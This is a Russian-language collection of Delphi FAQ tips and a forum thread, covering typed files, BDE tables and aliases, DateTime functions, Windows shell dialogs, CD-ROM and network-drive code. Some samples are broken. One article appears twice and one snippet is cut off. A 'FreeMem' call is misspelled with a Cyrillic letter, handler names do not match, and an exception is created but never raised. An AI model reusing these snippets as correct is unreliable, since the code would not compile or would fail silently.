Например, следующее объявление создаёт запись с именем TMember и массив переменных типа TMember, который мы будем
использовать для хранения нашей информации.

type
  TMember = record
    Name : string[50];
    eMail : string[30];
    Posts : LongInt;
  end;

 var Members : array[1..50] of TMember;



Перед тем, как мы сможем записать информацию на диск, нам необходимо объявить переменную типа file. Следующая строка
объявляет переменную файла F:

 var F : file of TMember;



Обратите внимание: Чтобы создать файл typed в Delphi, мы используем следующий синтакс:
var SomeTypedFile : file of SomeType
Базовый тип  (SomeType) для файла может быть скалярным (наподобие Double), массивом или записью. Он не может быть длинной
строкой, динамическим массивом, классом, объектом или указателем.

Чтобы начать работать с файлом из Delphi нам надо связать файл на диске с переменной файла в нашей программе. Для этого
используем процедуру AssignFile.

 AssignFile(F, 'Members.dat')



Как только связь с внешним файлом установлена, переменную F необходимо 'открыть' для подготовки её к чтению или записи. Для
открытия существующего файла мы используем процедуру Reset либо Rewrite для создания нового файла. После того, как программа
закончит обработку файла, его необходимо закрыть при помощи процедуры CloseFile. Сразу после закрытия файла, связанный с ним
внешний файл будет обновлён. Затем переменную файла можно связать с другим внешним файлом. Вообще, мы должны всегда
производить обработку исключительных ситуаций, так как при работе с файлами может происходить довольно много ошибок.
Например, если мы вызовем CloseFile для файла, который уже закрыт, то Delphi выдаст ошибку I/O. С другой стороны, если мы
попробуем закрыть файл, до вызова AssignFile, то результаты могут быть непредсказуемыми.

Запись

Предположим, что у нас есть массив, заполненный именами, e-мейлами и т.д., и мы хотим сохранить эту информацию на диск.
Делается это следующим образом:

 var F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Rewrite(F);
 try
  for i:= 1 to 50 do
   Write (F, Members[i]);
 finally
  CloseFile(F);
 end;
end;



Чтение

Для получения всей информации из файла 'members.dat' используется следующий код:

 var Member: TMember
     F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Reset(F);
 try
  while not Eof(F) do begin
   Read (F, Member);
 {  Что-нибудь делаем с данными; }
  end;
 finally
  CloseFile(F);
 end;
end;



Обратите внимание: Eof это функция проверки конца файла (EndOfFile). Мы используем эту функцию, чтобы не выйти за пределы
файла (за пределы последней, сохранённой записи).

Поиск и позиционирование

Обычно, доступ к файлам осуществляется последовательно. При чтении из файла (используя стандартную процедуру Read) или при
записи (используя стандартную процедуру Write), текущая позиция в файле перемещается на следующий по порядку компонент
(следующая запись). К файлам typed так же можно обращаться через стандартную процедуру Seek, которая перемещает текущую
позицию в файле на указанный компонент. Для определения текущей позиции в файле и размера файла можно использовать функции
FilePos и FileSize.

{устанавливаем на начало -  на первую запись}
Seek(F, 0);

{устанавливаем на 5-ю запись}
Seek(F, 5);

{Переходим в конец - "после" последней записи}
Seek(F, FileSize(F));



Изменение и обновление

Мы разобрались как записывать и считывать из файла массив Members. А что, если нам нужно найти десятую запись и изменить в ней
e-mail? Давайте посмотрим на процедуру, которая делает это:

procedure ChangeEMail
  (const RecN : integer; const NewEMail : string);
var DummyMember : TMember;
begin
 {связывание, открытие, блок обработки исключений}
 Seek(F, RecN);
 Read(F, DummyMember);
 DummyMember.Email := NewEMail;
 {чтение перемещается на следующую запись, для этого необходимо
 вернуться на первоначальную запись, а затем записать}
 Seek(F, RecN);
 Write(F, DummyMember);
 {закрываем файл}
end;

Всё готово

Итак, теперь мы имеем всё, что нам нужно для реализации нашей задачи. Мы можем записать информацию на диск, считать её, и даже
изменить некоторые данные (например, e-mail) в "середине" файла.
Самое главное, что этот файл не в ASCII формате
К заголовку




Создание БД файла во время работы приложения
uses DB, DBTables, StdCtrls;

procedure TForm1.Button1Click(Sender: TObject);
var

tSource, TDest: TTable;

begin

TSource := TTable.create(self);

with TSource do begin

DatabaseName := 'dbdemos';

TableName := 'customer.db';

open;

end;

TDest := TTable.create(self);

with TDest do begin

DatabaseName := 'dbdemos';

TableName := 'MyNewTbl.db';

FieldDefs.Assign(TSource.FieldDefs);

IndexDefs.Assign(TSource.IndexDefs);

CreateTable;

end;

TSource.close;

end;

Дополнение

В совете, на мой взгляд, неточность. Приведен пример копирования структуры одной таблицы в другую. Если нужно создать
таблицу, то:

Простейший способ - использовать SQL запрос. Таблицы можно создавать с индексом и без индекса.
Небольшой пример

const

CreateTab = 'CREATE TABLE ';

IDXTab = 'PRIMARY KEY ';

MyTabStruct =

'IDX_TAB DECIMAL(6,0), '+

'DATE_ DATE, '+

'FLD_1 CHARACTER(20), '+

'FLD_2 DECIMAL(7,2), '+

'FLD_3 BOOLEAN, '+

'FLD_4 BLOB(1,1), '+

'FLD_5 BLOB(1,2), '+

'FLD_6 BLOB(1,3), '+

'FLD_7 BLOB(1,4), '+

'FLD_8 BLOB(1,5) ';

…

// создание таблицы без индекса
procedure TForm1.Button1Click(Sender: TObject);
begin

if CreateTable('"MYTAB.DBF"', MyTabStruct, '') then

…
// выполняем дальнейшие операции

else

…
end;

// создание таблицы с индексом
procedure TForm1.Button2Click(Sender: TObject);
begin

if CreateTable('"MYTAB.DBF"', MyTabStruct, IDXTab+' (IDX_TAB)') then

…
// выполняем дальнейшие операции

else

…
end;

function TForm1.CreateTable(TabName, TabStruct, TabIDX: string): boolean;
var

qyTable: TQuery;

begin

result := true;

qyTable := TQuery.Create(Self);

with qyTable do

try

try

SQL.Clear;

SQL.Add(CreateTab+TabName+'('+TabStruct+TabIDX+')');

Prepare;

// ExecSQL, а не Open. Иначе ... облом

ExecSQL;

except

// Обработка ошибок открытия таблицы Возможности обработчика можно расширить.

Exception.Create('Ошибка открытия таблицы');

result := false;

end;

finally

Close;

end;

end;
К заголовку




Как заставить Delphi работать с большим массивом данных
Вот так:

procedure TForm1.Button1Click(Sender: TObject);
type
TMyRec = record
i1,i2,i3:Integer;
end;
TMyArr=array[1..20000000] of TMyRec;
PMyArr=^TMyArr;
var
A:PMyArr;
begin
GetMem(A,SizeOf(TMyArr));
A^[1].i1:=100;
ShowMessage('Ok'+IntToStr(A^[1].i1));
АreeMem(A);
end;
К заголовку




Как по имени БазыДанных получить ссылку на компоненет TDataBase
Session.FindDatabase(имя БазыДанных )
Пример:

var db : TDataBase;
begin
 db := Session.FindDatabase(FDataBaseName);
 db.StartTransaction;
end;
К заголовку




Как создать файл .db на основе уже имеющегося
На форме :
Table1 - Существующая таблица
Table2 - Таблица которую будем создавать

procedure TForm1.Button1Click(Sender: TObject);
begin
With Table1 Do
 Begin
               DatabaseName:="VMB";
               TableName:="MAN.DBF";
               Open;
 End;

With Table2 Do
 Begin
               FieldDefs:=Table1.FieldDefs;
               DatabaseName:="VPB"; - {алиас в BDE, или сразу каталог}
К заголовку




Как программно создать псевдоним для БД в BDE?
=== 1 ===
procedure TForm1.Button1Click(Sender: TObject);
var
L : TStringList;
begin

Session1.ConfigMode := cmPersistent;

L := TStringList.Create;

try
L.Add('SERVER NAME=BEHOLDER');
L.Add('USER NAME=sa');
L.Add('PASS=');

Session1.AddAlias(Edit1.Text, 'MSSQL', L);

finally
L.Free;
end;

Session1.SaveConfigFile;

end;

=== 2 ===

// Database access constants
GETCR_TEMPALIAS = 'TINTOMSA'; // temporary alias for MSACCESS database
GETCR_ALIASPARAMSFMT = 'DATABASE NAME:%s;OPEN MODE:READ ONLY;USER NAME:%s;PASSWORD:%s';

. . .

// Create temporary alias
sParams := Format( GETCR_ALIASPARAMSFMT, [DbFile, DbLogin, DbPassword] );
dbires := DbiAddAlias( nil, GETCR_TEMPALIAS, 'MSACCESS', PChar(sParams), False );
// Here is a bug in BDE. Even if DbiDeleteAlias was called, in previous attempt,
// DbiAddAlias returns DBIERR_NAMENOTUNIQUE (whereas Permanent was False.
// so I just ignore this error.
if (dbires <> DBIERR_NONE) and (dbires <> DBIERR_NAMENOTUNIQUE) then
Check( dbires );
К заголовку




Моя собственная база данных
Моя собственная база данных
( Перевод одноимённой статьи с сайта delphi.about.com )

В статье рассматривается работа с бинарными файлами из Delphi, а так же использование Object Pascal для
управления записью, чтением и изменением собственных типов файлов.

Постановка задачи: Допустим, мне нужно в приложении Delphi сохранять некоторую информацию на диск. Мне не
охото работать с текстовыми файлами, так как просмотр и обновление информации в них довольно муторное
занятие. Преобладать будут операции записи и чтения, в то время как операции изменения и апдейта будут
присутствовать в меньшей степени. Вся информация будет хранится в переопределённом типе данных Pascal
Record. Итак, какой подход мне лучше всего использовать?

BDE плюс Paradox или Access, ... спасибо, не надо...Не хотелось бы испытывать мороку с BDE. Использовать
текстовые файлы ASCII ? Не пойдёт. Нужна хоть какая-то минимальная защита, а текстовые файлы "полностью
видимы". Оказывается, ответ на данный вопрос кроется в Delphi, а именно в непечатных файлах (или файлы
некоторых типов/бинарные файлы).

   Файлы
В Delphi существует три класса файлов: typed, text, и untyped. Файлы typed - это файлы, которые содержат данные
определённого типа, такие как Double, Integer или предварительно определённый тип Record. Текстовые файлы
содержат читаемые символы ASCII. Файлы Untyped используются в том случае, если мы хотим работать с файлом
через определённую структуру.

   Файлы Typed
В отличие от тектовых файлов, которые содержат строки, завершающиеся комбинацией CR/LF, файлы typed
содержат данные, взятые из определённой структуры данных.

Например, следующее объявление создаёт запись с именем TMember и массив переменных типа TMember, который
мы будем использовать для хранения нашей информации.

type
  TMember = record
    Name : string[50];
    eMail : string[30];
    Posts : LongInt;
  end;

 var Members : array[1..50] of TMember;

Перед тем, как мы сможем записать информацию на диск, нам необходимо объявить переменную типа file.
Следующая строка объявляет переменную файла F:

 var F : file of TMember;

Обратите внимание: Чтобы создать файл typed в Delphi, мы используем следующий синтакс:
var SomeTypedFile : file of SomeType
Базовый тип  (SomeType) для файла может быть скалярным (наподобие Double), массивом или записью. Он не
может быть длинной строкой, динамическим массивом, классом, объектом или указателем.

Чтобы начать работать с файлом из Delphi нам надо связать файл на диске с переменной файла в нашей
программе. Для этого используем процедуру AssignFile.

 AssignFile(F, 'Members.dat')

Как только связь с внешним файлом установлена, переменную F необходимо 'открыть' для подготовки её к чтению
или записи. Для открытия существующего файла мы используем процедуру Reset либо Rewrite для создания нового
файла. После того, как программа закончит обработку файла, его необходимо закрыть при помощи процедуры
CloseFile. Сразу после закрытия файла, связанный с ним внешний файл будет обновлён. Затем переменную файла
можно связать с другим внешним файлом. Вообще, мы должны всегда производить обработку исключительных
ситуаций, так как при работе с файлами может происходить довольно много ошибок. Например, если мы вызовем
CloseFile для файла, который уже закрыт, то Delphi выдаст ошибку I/O. С другой стороны, если мы попробуем
закрыть файл, до вызова AssignFile, то результаты могут быть непредсказуемыми.

Запись
Предположим, что у нас есть массив, заполненный именами, e-мейлами и т.д., и мы хотим сохранить эту
информацию на диск. Делается это следующим образом:

 var F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Rewrite(F);
 try
  for i:= 1 to 50 do
   Write (F, Members[i]);
 finally
  CloseFile(F);
 end;
end;

Чтение
Для получения всей информации из файла 'members.dat' используется следующий код:

 var Member: TMember
     F : file of TMember;
begin
 AssignFile(F,'members.dat');
 Reset(F);
 try
  while not Eof(F) do begin
   Read (F, Member);
 {  Что-нибудь делаем с данными; }
  end;
 finally
  CloseFile(F);
 end;
end;

Обратите внимание: Eof это функция проверки конца файла (EndOfFile). Мы используем эту функцию, чтобы не выйти
за пределы файла (за пределы последней, сохранённой записи).

Поиск и позиционирование
Обычно, доступ к файлам осуществляется последовательно. При чтении из файла (используя стандартную
процедуру Read) или при записи (используя стандартную процедуру Write), текущая позиция в файле перемещается
на следующий по порядку компонент (следующая запись). К файлам typed так же можно обращаться через
стандартную процедуру Seek, которая перемещает текущую позицию в файле на указанный компонент. Для
определения текущей позиции в файле и размера файла можно использовать функции FilePos и FileSize.

{устанавливаем на начало -  на первую запись}
Seek(F, 0);

{устанавливаем на 5-ю запись}
Seek(F, 5);

{Переходим в конец - "после" последней записи}
Seek(F, FileSize(F));

Изменение и обновление
Мы разобрались как записывать и считывать из файла массив Members. А что, если нам нужно найти десятую
запись и изменить в ней e-mail? Давайте посмотрим на процедуру, которая делает это:

procedure ChangeEMail
  (const RecN : integer; const NewEMail : string);
var DummyMember : TMember;
begin
 {связывание, открытие, блок обработки исключений}
 Seek(F, RecN);
 Read(F, DummyMember);
 DummyMember.Email := NewEMail;
 {чтение перемещается на следующую запись, для этого необходимо
 вернуться на первоначальную запись, а затем записать}
 Seek(F, RecN);
 Write(F, DummyMember);
 {закрываем файл}
end;



   Всё готово
Итак, теперь мы имеем всё, что нам нужно для реализации нашей задачи. Мы можем записать информацию на
диск, считать её, и даже изменить некоторые данные (например, e-mail) в "середине" файла.
Самое главное, что этот файл не в ASCII формате, и вот как выглядит в Notepad (только одна запись):

Delphi Guide g Т5·їм  5  B V Lѓ ,"Ё delphi.guide@about.comП  з з п
К заголовку




OnSetText Проверка даты (DataBase)
 for i:=0 to Dataset.FieldCount-1 do Dataset.Fields[i].OnSetText:=MySetText;
----------------------------------------------------------------------------
DBGrid-прошу помощи [D5, ]

Gollo   (31.08.01 19:56)
Проблема следущая:Одно из полей в гриде имеет тип DataTime, при ошибочном редактировании поля (т.е. введенное
значение не типа DataTime)как только переходишь на следущую ячейку он соответственно ругается примерно
'40.12.99'is not a valid Data
Так вопрос в том как перехватить это сообщение???? и заменить русским.
С полями типа Integer и String просто использую маску и таких проблем не возникает.
Если не затруднит пришлите отрывок кода.
Спасибо.
--------------------------------------------------------------------------------
TSV ©   (31.08.01 20:40)
Это ошибка типа EConvertError. Ну, например, можно написать обработчик OnKeyDown для DBGrid. Если нажата
клавиша  и при этом DataSet находится в состоянии dsEdit или dsInsert, то попробовать конвертнуть то, что в DBGrid и
в случае ошибки выдать сообщение. Пробное конвертирование, естественно делать в try.....except.
Удачи.
--------------------------------------------------------------------------------
Gollo   (31.08.01 21:09)
А что это реальный вариант! Спасибо
--------------------------------------------------------------------------------
Gollo   (01.09.01 00:05)
Что-то не получается взять редактируемый текст поля.
К примеру было 12.12.90 меняю на 78.12.90 нажимаю Tab (KeyDown для него)обработчик
StrToDate(DBGrid1.Fields[x].text) не вызывает Exception так как получается что DBGrid1.Fields[x].text=12.12.90 а не
78.12.90, так как быть??
--------------------------------------------------------------------------------
Аноним   (01.09.01 01:26)
А OnSetText для данного Field не подойдет?
--------------------------------------------------------------------------------
Gollo   (01.09.01 02:14)
Прошу конкретного ответа, если возможно.
Ситуация легко генерируется. Можно попробовать на любом гриде с полем Date/
Например с таблицей Orders.db из комплекта Делфи и при помощи Data Form Wizard за секунду получаем готовое
приложение с гридом, поменяйте значение любого поля Date попробуйте перейти на другую ячейку и получится
данное сообщение об ошибке. Неужели никто с этим не сталкивался???????????
--------------------------------------------------------------------------------
Anton   (01.09.01 10:01)
Твоя ошибка в том, что ты читаешь данные из поля тогда, когда в него не внесены еще изменения. Используй
событие OnSetText у поля.
--------------------------------------------------------------------------------
gun19456 ©   (01.09.01 16:26)
А если таких поле много ?
Что же на каждое SetText ставить ?
Может попроще что-то есть ?
--------------------------------------------------------------------------------
Anatoly Podgoretsky ©   (01.09.01 16:48)
Попроще, перевести ресурсы
--------------------------------------------------------------------------------
gun19456 ©   (01.09.01 18:43)
А подробнее ?
--------------------------------------------------------------------------------
Anton   (01.09.01 18:46)
А что там его ставить?
for i:=0 to Dataset.FieldCount-1 do Dataset.Fields[i].OnSetText:=MySetText;
--------------------------------------------------------------------------------
gun19456 ©   (01.09.01 19:02)
For конечно FOR, но как дату то в MY проверить ?
--------------------------------------------------------------------------------
gun19456 ©   (01.09.01 19:08)
Замечу, что она может быть введена юзером как угодно нехорошо.
--------------------------------------------------------------------------------
Gollo   (01.09.01 19:27)
Попробую конечно воспользаваться вашими предложениями OnSetText
Просто я думал что Fields[x].Text и Fields[x].Value в Гриде разные, а получается что одно и тоже?
И всеже может кто нибудь куском кода покажет как же всетаки решить эту задачу, это может быть полезно для
многих кто будет в дальнейшем разрешать редактирование в Гриде.
--------------------------------------------------------------------------------
gun19456 ©   (01.09.01 19:47)
Не одно и тоже. Разные вещи. Fields[x].Text -- ???
Шифратор - дешифратор дат:
--------------------------------------------------------------------------------
function CheckDateFormat(SDate:string):string;
var

IDateChar:string;
x,y:integer;
begin

IDateChar:='.,\/';
for y:=1 to length(IDateChar) do
begin
x:=pos(IDateChar[y],SDate);
while x>0 do
begin
Delete(SDate,x,1);
Insert('-',SDate,x);
x:=pos(IDateChar[y],SDate);
end;
end;
CheckDateFormat:=SDate;
end;

function DateEncode(SDate:string):longint;
var

year,month,day:longint;
wy,wm,wd:longint;
Dummy:TDateTime;
Check:integer;
begin

DateEncode:=-1;
SDate:=CheckDateFormat(SDate);
Val(Copy(SDate,1,pos('-',SDate)-1),day,check);
Delete(Sdate,1,pos('-',SDate));
Val(Copy(SDate,1,pos('-',SDate)-1),month,check);
Delete(SDate,1,pos('-',SDate));
Val(SDate,year,check);
wy:=year;
wm:=month;
wd:=day;
try
Dummy:=EncodeDate(wy,wm,wd);
except
year:=0;
month:=0;
day:=0;
end;
DateEncode:=(year*10000)+(month*100)+day;
end;
Извини, но это еще проверить надо конечно.
--------------------------------------------------------------------------------
Gollo   (01.09.01 20:17)
На самом деле мне это сейчас не надо (может быть), проверку введенного значения я спокойно проверяю методом
предложеным TSV, это хороший вариант.
А Fields[x].Text это Grid1.Fields[x].Text я надеялся что это текст введенный в ячейку! а при чтения его он читает
значение из таблицы тобиш Value.
Да и вообще я новичок в программировании так что не судите строго, я могу ошибаться
--------------------------------------------------------------------------------
К заголовку




Как заставить компонент реагировать на изменения в TDataSource?
TFieldDataLink. За D2 не скажу, а в D1 в Help'е его нет, pеализован в
\DELPHI\SOURCE\VCL\DBTABLES.PAS.

VV> Более конкретный вопрос: Как заставить произвольные объекты
VV> (предположительно формы) реагировать на изменения в каком-то DataSource?

type
TMyForm = class(TForm)
{...}
Table1: TTable;
DataSource1: TDataSource;
private
FDL : TFieldDataLink;
procedure RecChange(Sender: TObject);
public
{...}
end;

procedure TMyForm.FormCreate(Sender: TObject);
begin
FDL:=TFieldDataLink.Create;
FDL.OnDataChange:=RecChange;
FDL.DataSource:=DataSource1;
FDL.FieldName:='MyFieldName';
end;

procedure TTabEditDlg.FormDestroy(Sender: TObject);
begin
FDL.Free;
end;

procedure TTabEditDlg.MasterChange(Sender: TObject);
begin
{... тут pеагиpуй на изменения ...}
end;

К заголовку




Как определить номер недели по имеющейся дате?
function WeekOfYear(ADate : TDateTime) : word;
var
  day : word;
  month : word;
  year : word;
  FirstOfYear : TDateTime;
begin
  DecodeDate(ADate, year, month, day);
  FirstOfYear := EncodeDate(year, 1, 1);
  Result := Trunc(ADate - FirstOfYear) div 7 + 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(IntToStr(WeekOfYear(Date)));
end;
К заголовку




Функции работы с DateTime
TDateTime <-> Word

function EncodeDate(Year, Month, Day: Word): TDateTime;

Эта функция по заданным данным - числу, месяцу и году - генерирует переменную типа TDateTime с
соответствующими параметрами. Входные данные определены ниже, а, при их нарушении, выдается ошибка.

Year (Word) - год. Может принимать значения от 1 до 9999 (число соответствует году).
Month (Word) - месяц. Значения могут быть от 1 (январь) до 12 (декабрь).
Day (Word) - день. Входные значения могут быть от 1 до 28, 29, 30 или 31 - последнее зависит от месяца и года.

=========

procedure DecodeDate(Date: TDateTime; var Year, Month, Day: Word);

Данная процедура противоположна только что описанной функции: процедура возвращает три переменные типа
Word, соответствующие году, месяцу и дате, заданным в переменной типа TDateTime

Date (TDateTime) - переменная, содержащая дату, которая подлежит "расшифровке".
Year (Word) - год. Принимает значения от 1 до 9999.
Month (TDateTime) - месяц. Значения от 1 (январь) до 12 (декабрь).
Day (TDateTime) - день. Значения от 1 до 31 (последний предел зависит от месяца/года).

=========

function EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime;

Функция, которая по данным - час, минута, секунда, миллисекунда - генерирует переменную типа TDateTime.
Входные данные, необходимые для выполнения данной функции, определены ниже, а, при их нарушении, выдается
ошибка.

Hour (Word) - час. Значения от 0 до 23.
Min (Word) - минута. Значения от 0 до 59.
Sec (Word) - секунда. Значения от 0 до 59.
MSec (Word) - миллисекунда. Значения от 0 до 999.

=========

procedure DecodeTime(Time: TDateTime; var Hour, Min, Sec, MSec: Word);

Разбивает переменную Time (TDateTime) на часы, минуты, секунды, миллисекунды.

Hour (Word) - час. Значения от 0 до 23.
Min (Word) - минута. Значения от 0 до 59.
Sec (Word) - секунда. Значения от 0 до 59.
MSec (Word) - миллисекунда. Значения от 0 до 999.

TTimeStamp

Кроме TDateTime для работы с датой временем существует тип TTimeStamp:

type TTimeStamp = record
 Time: Integer;
 Date: Integer;
end;

В переменной Time содержится количество миллисекунд, прошедших с полуночи текущего дня.
А в переменной Date содержится количество дней, прошедших с 01.01.0001 + один.

Где это можно использовать? Это можно использовать, например, для подсчета времени, которое было потрачено
на какую-нибудь операцию. Например, поиск файлов. Пример мы рассмотрим ниже, после изучения некоторых
процедур.

=========

function DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;

С этой функцией все предельно просто. Она возвращает значение переменной DateTime (TDateTime) в формате
TTimeStamp.

function TimeStampToDateTime(Time: TTimeStamp): TDateTime;

Эта функция обратная предыдущей, возвращает значение переменной Time (TTimeStamp) в формате TDateTime.

=========

Вот теперь и рассмотрим алгоритм, подсчета времени, которое ушло на какую-либо операцию.

Var OperBegin, OperEnd: TTimeStamp;
    Total: LongWord;

begin
   OperBegin:=DateTimeToTimeStamp(Now); {запоминается момент начала операции}

   {Здесь идет алгоритм непосредственно самой операции}

   OperEnd:=DateTimeToTimeStamp(Now); {запоминается момент окончания операции}
   Total:=OperEnd.Time-OperBegin.Time;
end;

После этого, в переменной Total окажется количество миллисекунд, за которые исполнился алгоритм. Правда, у
приведенного здесь алгоритма есть один недостаток.

=========

Частичное изменение TDateTime

Иногда бывает нужно изменить только дату или только время в переменной типа TDateTime. На этот случай есть
две процедуры:

procedure ReplaceDate(var DateTime: TDateTime; const NewDate: TDateTime);
procedure ReplaceTime(var DateTime: TDateTime; const NewTime: TDateTime);

Первая процедура заменяет дату в переменной DateTime на дату, которая указана в переменной NewDate. При этом
время остается в целости и сохранности.
Вторая же заменяет время в переменной DateTime на время, стоящее в переменной NewTime. При этом дата
остается нетронутой.

TDate

Наряду с типом TDateTime существует тип TDate. В принципе, TDate это вырожденный случай TDateTime, когда
время не имеет никакого значения. То есть тип TDate хранит только дату в формате целого числа
К заголовку




Как вызывать диалог выбора фолдеров?
SHBrowseForFolder
К заголовку




Как запустить диалог поиска файла?
procedure TForm1.Button1Click(Sender: TObject);
begin
with TDDEClientConv.Create(Self) do begin
ConnectMode := ddeManual;
ServiceApplication := 'explorer.exe';
SetLink( 'Folders', 'AppProperties');
OpenLink;
ExecuteMacro('[FindFolder(, C:\DOWNLOAD)]', False);
CloseLink;
Free;
end;
end;
К заголовку




Как показать стандартное окно копирования файлов?
Используйте SHFileOperation.

uses ShellAPI;

procedure TForm1.Button1Click(Sender: TObject);
var
Fo : TSHFileOpStruct;
buffer : array[0..4096] of char;
p : pchar;

begin
FillChar(Buffer, sizeof(Buffer), #0);
p := @buffer;
p := StrECopy(p, 'C:\DownLoad\1.ZIP') + 1;
p := StrECopy(p, 'C:\DownLoad\2.ZIP') + 1;
p := StrECopy(p, 'C:\DownLoad\3.ZIP') + 1;
StrECopy(p, 'C:\DownLoad\4.ZIP');

FillChar(Fo, sizeof(Fo), #0);
Fo.Wnd := Handle;
Fo.wFunc := FO_COPY;
Fo.pFrom := @Buffer;
Fo.pTo := 'D:\';
Fo.fFlags := 0;
if ((SHFileOperation(Fo) <> 0) or
(Fo.fAnyOperationsAborted <> false)) then
ShowMessage('Cancelled')
end;
К заголовку




Чтобы вызвать диалог запроса
Чтобы вызвать диалог, в котором бы пользователь должен был ввести что-нибудь,
 достаточно воспользоваться функцией InputBox или InputQuery.
Эти функции создают диалог с полем ввода, надписью над ним и двумя кнопками: "OK" и "Cancel".
 Параметры управляют заголовком окна, надписью над полем ввода и начальным значением.
 Функции отличаются тем, что после вызова InputBox нельзя понять:
 пользователь нажал "OK", не изменив текст, или "Cancel",
 а текст был восстановлен самой фунцией.
 InputQuery возвращает значение типа boolean по которому можно определить,
 какую кнопку нажал пользователь. Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Caption := InputBox('Заголовок окна',
    'Введите, пожалуйста, заголовок окна:', Form1.Caption);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  s: string;
begin
  s := Form1.Caption;
  if not InputQuery('Заголовок окна',
    'Введите, пожалуйста, заголовок окна:', s)
  then s := 'No value';
  Form1.Caption := s;
end;
К заголовку




Выбор каталога
Если Вам нужно, чтобы пользователь выбрал каталог, удобно воспользоваться стандартным диалогом Windows.
Для этого нужно испоьзуют функциею SHGetSpecialFolderLocation. Второй параметр определяет, какие каталоги
сможет выбрать пользователь. Вот возможные значения этого параметра: CSIDL_BITBUCKET, CSIDL_CONTROLS,
CSIDL_DESKTOP, CSIDL_DESKTOPDIRECTORY, CSIDL_DRIVES, CSIDL_FONTS, CSIDL_NETHOOD,
CSIDL_NETWORK, CSIDL_PERSONAL, CSIDL_PRINTERS, CSIDL_PROGRAMS, CSIDL_RECENT, CSIDL_SENDTO,
CSIDL_STARTMENU, CSIDL_STARTUP, CSIDL_TEMPLATES.

Название выбранного каталога можно получить при помощи функции SHGetPathFromIDList.

uses ShlObj;

procedure CallBack(wnd: hWnd; uMsg: UINT; lParam, lpData: LParam) stdcall;
begin
  SendMessage(wnd, BFFM_ENABLEOK, 0, 1);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  bi: TBrowseInfo;
  s: PChar;
  PIDL, ResPIDL: PItemIDList;
begin
  SHGetSpecialFolderLocation(Form1.Handle, CSIDL_DESKTOP, PIDL);
  s := StrAlloc(128);
  bi.hwndOwner := Form1.Handle;
  bi.pszDisplayName := s;
  bi.lpszTitle := 'Выбор прапки';
  bi.pidlRoot := PIDL;
  bi.lpfn := addr(CallBack);
  ResPidl := SHBrowseForFolder(BI);
  SHGetPathFromIDList(ResPidl, s);
  Form1.Caption := s;
end;

К заголовку




Z-порядок при каждом показе диалога один и тот же
Там не листбокс, а EDIT, но суть точно та же. Чтобы получить текст, а не записать его, надо просто использовать
Get вместо Set. Судя по тому, что программа уже 2 года работает без малейших проблем, Z-порядок при каждом
показе диалога один и тот же.


program Project1;

uses
 Windows, Messages;

const
 Title1 = 'Установка связи';
 Title2 = 'Удаленное соединение';
 Login = '...';
 Password = '...';

var
 Wnd: HWND;
 Control: array [0..127] of char;

procedure TypeTextIntoNextEdit(AText:string);
begin
 repeat // Ищем следующее в Z-порядке окно класса EDIT
   Wnd := GetWindow(Wnd, GW_HWNDNEXT);
   GetClassName(Wnd, Control, SizeOf(Control))
 until Control = 'Edit';
 SendMessage(Wnd, WM_SETTEXT, 0, Integer(PChar(AText))) // Вводим текст
end;

begin
 Wnd := FindWindow(nil, Title1);  // Это окно самого диалога
 if Wnd = 0 then                  // Если не найдено, ищем другой диалог
 begin
   Wnd := FindWindow(nil, Title2);
   if Wnd = 0 then Exit;
 end;
 Wnd := GetWindow(Wnd, GW_CHILD); // Это верхний комбобокс
 TypeTextIntoNextEdit(Login);     // Вводим логин
 TypeTextIntoNextEdit(Password)   // Вводим пароль
end.
К заголовку




Как выдвинуть/задвинуть дверцу CD-ROM'а?
=== 1 ===
mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);
Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);

=== 2 ===
Для закрытия CD-ROMа:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);

Для открытия CD-ROMа:
mciSendString('Set cdaudio door open wait', nil, 0, handle);

Только не забудьте добавить в Uses библиотеку MMSystem.
К заголовку




Как найти CD-ROM?
Function GetFirstCDROM:string;
 {возвращает букву 1-го привода CD-ROM или пустую строку}
var
 w:dword;
 Root:string;
 i:integer;
begin
 w:=GetLogicalDrives;
 Root:='#:\';
 for i:=0 to 25 do begin
  Root[1] := Char(Ord('A')+i);
  if (W and (1 shl i))>0
  then if GetDriveType(Pchar(Root)) = DRIVE_CDROM then begin
   Result:=Root[1];
   exit;
  end;
 end;
 Result:='';
end;
К заголовку




Как определить, есть ли дискета в дисководе?
procedure TForm1.Button1Click(Sender: TObject);
  var
    OldErrorMode : Integer;
    fp           : TextFile;
  begin
    try
      OldErrorMode := SetErrorMode(SEM_FAILCRITICALERRORS);
      try
        AssignFile(fp,'A:\foo.bar');
        Reset(fp);
        CloseFile(fp);
      finally
        SetErrorMode(OldErrorMode);
      end;
    except
      on E:EInOutError do
        if E.ErrorCode = 21 then
          ShowMessage('Нет доступа к дисководу A:\');
    end;
  end;
К заголовку




Как подключать сетевые диски?
Деpжи pабочий кусок кода из пpогpаммы "мэйлеpа" сетевой FIDO станции:
var nw:TNetResource;
...
nw.dwType:=RESOURCETYPE_DISK;
nw.lpLocalName:=nil;
nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL');
nw.lpProvider:=nil;
if MailServer.Password<>'' then
   Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0)
                           else
   Err:=WNetAddConnection2(nw,nil,nil,0);
If Err=NO_ERROR then
   begin
   ...
   end;
MailServer.RemoteName и Password -- имя удаленного компа в сети и
паpоль доступа к pесуpсу соответвенно.

ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'.    если хочешь подключить сетевой pесуpс как локальный
диск -- меняй
    nw.lpLocalName.
pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.
К заголовку




Как при проигрывании музыки с Audio CD показывать сколько прошло минут и секунд?
Ответ:
В примере время выводится по таймеру.
Пример:
uses MMSystem;
procedure TForm1.Timer1Timer(Sender: TObject);
 var Trk : Word;
       Min : Word;
       Sec : Word;
begin
 with MediaPlayer1 do
 begin
